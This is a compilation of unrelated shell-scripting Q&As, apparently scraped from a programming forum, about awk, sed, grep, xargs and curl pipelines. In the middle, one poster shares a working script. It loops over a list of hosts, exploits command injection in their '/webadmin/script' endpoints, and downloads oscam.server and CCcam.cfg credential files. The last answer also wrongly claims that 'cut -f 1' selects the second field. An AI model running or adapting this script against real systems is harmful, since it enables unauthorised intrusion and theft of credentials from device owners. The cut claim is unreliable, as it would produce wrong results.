I've got the following bash code:
md5sum -c checksum.md5 2>&1 | grep FAILED | awk '{print $1}' | sed 's/:$// > /tmp/check.tmp
awk '{system("wget http://example.com/"$1"")}' /tmp/check.tmp
How can I use awk without a temp file?
Something like
files=`md5sum -c checksum.md5 2>&1 | grep FAILED | awk '{print $1}' | sed 's/:$//`
awk '{system("wget http://example.com/"$1"")}' $files
You can simplify the whole command to this:
md5sum -c checksum.md5 2>&1 |\
awk -F'[:/]' '/FAILED/{system("wget http://example.com/"$(NF-1))}'
wget has a switch -i that can come in handy:
md5sum -c checksum.md5 2>&1 | \
sed -n '/FAILED$/ { s/: FAILED$//; s!^!http://example.com/!; p; }' | \
wget -i
Like this:
awk '{system("wget http://example.com/"$1"")}' <<< $files
Related
I was trying to filter all the files from the URLs and get only paths.
echo -e "http://sub.domain.tld/secured/database_connect.php\nhttp://sub.domain.tld/section/files/image.jpg\nhttp://sub.domain.tld/.git/audio-files/top-secret/audio.mp3" | grep -Ei "(http|https)://[^/\"]+" | sort -u
http://sub.domain.tld
But I want the result like this
http://sub.domain.tld/secured/
http://sub.domain.tld/section/files/
http://sub.domain.tld/.git/audio-files/top-secret/
Is there any way to do it with sed or grep
Using grep
$ echo ... | grep -o '.*/'
http://sub.domain.tld/secured/
http://sub.domain.tld/section/files/
http://sub.domain.tld/.git/audio-files/top-secret/
with grep
If your grep has the -o option:
... | grep -Eio 'https?://.*/'
If there could be multiple URLs per line:
... | grep -Eio 'https?://[^[:space:]]+/'
with sed
If the input is always precisely one URL per line and nothing else, you can just delete the filename part:
... | sed 's/[^/]*$//'
You could use match function of awk, will work in any version of awk. Simple explanation would be, passing echo command's output to awk program. Using match matching everything till last occurrence of / and then printing the sub-string to print just before /(with -1 to RLENGTH).
your_echo_command | awk 'match($0,/.*\//){print substr($0,RSTART,RLENGTH-1)}'
GNU Awk
$ echo ... | awk 'match($0,/.*\//,a){print a[0]}'
$ echo ... | awk '{print gensub(/(.*\/).*/,"\\1",1)}'
$ echo ... | awk 'sub(/[^/]*$/,"")'
http://sub.domain.tld/secured/
http://sub.domain.tld/section/files/
http://sub.domain.tld/.git/audio-files/top-secret/
xargs
$ echo ... | xargs -i sh -c 'echo $(dirname "{}")/'
http://sub.domain.tld/secured/
http://sub.domain.tld/section/files/
http://sub.domain.tld/.git/audio-files/top-secret/
oneliner
curl "127.0.0.1:81/webadmin/script?command=|ps%20-T%20-f" | grep oscam | awk 'BEGIN{IGNORECASE=1;oscam;RS="<br>"}; {print $11};' | awk '{print "/file?file="$0"/oscam.server"}' | awk '!x[$0]++'
and bash style
#!/bin/sh
OSCAM="/webadmin/script?command=|ps%20-T%20-f" | grep oscam | awk 'BEGIN{IGNORECASE=1;oscam;RS="<br>"}; {print $11};' | awk '{print "/file?file="$0"/oscam.server"}' | awk '!x[$0]++' > oscam.source.tmp
URL2=$(cat oscam.source.tmp)
for URL in `cat links.md`; do echo $URL; curl -m 5 $1 "$URL$OSCAM" > oscam.source; curl -m 5 $1 "$URL$URL2"
done > oscam.server.new
the main problem for me on script didnt running normally, didnt gave an output for oscam.source.tmp
ok refined the script
now finally working :),
#!/bin/bash
for URL in $(< links.md); do echo curl -L -m 5 $1 "'"$URL"/webadmin/script?command=|find%20/etc%20/var%20/usr%20|%20egrep%20%22CCcam.cfg|oscam.server%22'" | bash - | egrep "oscam.server<br>|CCcam.cfg" | awk 'BEGIN{RS="<br>"} {print $1}' > oscam.source.bak && awk '!/^$/' oscam.source.bak | awk '$0="/file?file="$0' > oscam.temp;
for URL2 in $(< oscam.temp); do echo curl -L -m 5 $1 "$URL$URL2" | bash -
done
done > oscam.server.new
I'm working on a shell script.
OUT=$1
here, the OUT variable is my filename.
I'm using grep search as follows:
l=`grep "$pattern " -A 15 $OUT | grep -w $i | awk '{print $8}'|tail -1 | tr '\n' ','`
The issue is that the filename parameter I must pass is test.log.However, I have the folder structure :
test.log
test.log.001
test.log.002
I would ideally like to pass the filename as test.log and would like it to search it in all log files.I know the usual way to do is by using test.log.* in command line, but I'm facing difficulty replicating the same in shell script.
My efforts:
var-$'.*'
l=`grep "$pattern " -A 15 $OUT$var | grep -w $i | awk '{print $8}'|tail -1 | tr '\n' ','`
However, I did not get the desired result.
Hopefully this will get you closer:
#!/bin/bash
for f in "${1}*"; do
grep "$pattern" -A15 "$f"
done | grep -w $i | awk 'END{print $8}'
My bash script is:
output=$(curl -s http://www.espncricinfo.com/england-v-south-africa-2012/engine/current/match/534225.html | sed -nr 's/.*<title>(.*?)<\/title>.*/\1/p')
score=echo"$output" | awk '{print $1}'
echo $score
The above script prints just a newline in my console whereas my required output is
$ curl -s http://www.espncricinfo.com/england-v-south-africa-2012/engine/current/match/534225.html | sed -nr 's/.*<title>(.*
?)<\/title>.*/\1/p' | awk '{print $1}'
SA
So, why am I not getting the output from my bash script whereas it works fine in terminal am I using echo"$output" in the wrong way.
#!/bin/bash
output=$(curl -s http://www.espncricinfo.com/england-v-south-africa-2012/engine/current/match/534225.html | sed -nr 's/.*<title>(.*?)<\/title>.*/\1/p')
score=$( echo "$output" | awk '{ print $1 }' )
echo "$score"
Score variable was probably empty, since your syntax was wrong.
I have an application (myapp) that gives me a multiline output
result:
abc|myparam1|def
ghi|myparam2|jkl
mno|myparam3|pqr
stu|myparam4|vwx
With grep and sed I can get my parameters as below
myapp | grep '|' | sed -e 's/^[^|]*//' | sed -e 's/|.*//'
But then want these myparamx values as paramaters of a script to be executed for each parameter.
myscript.sh myparam1
myscript.sh myparam2
etc.
Any help greatly appreciated
Please see xargs. For example:
myapp | grep '|' | sed -e 's/^[^|]*//' | sed -e 's/|.*//' | xargs -n 1 myscript.sh
May be this can help -
myapp | awk -F"|" '{ print $2 }' | while read -r line; do /path/to/script/ "$line"; done
I like the xargs -n 1 solution from Dark Falcon, and while read is a classical tool for such kind of things, but just for completeness:
myapp | awk -F'|' '{print "myscript.sh", $2}' | bash
As a side note, speaking about extraction of 2nd field, you could use cut:
myapp | cut -d'|' -f 1 # -f 1 => second field, starting from 0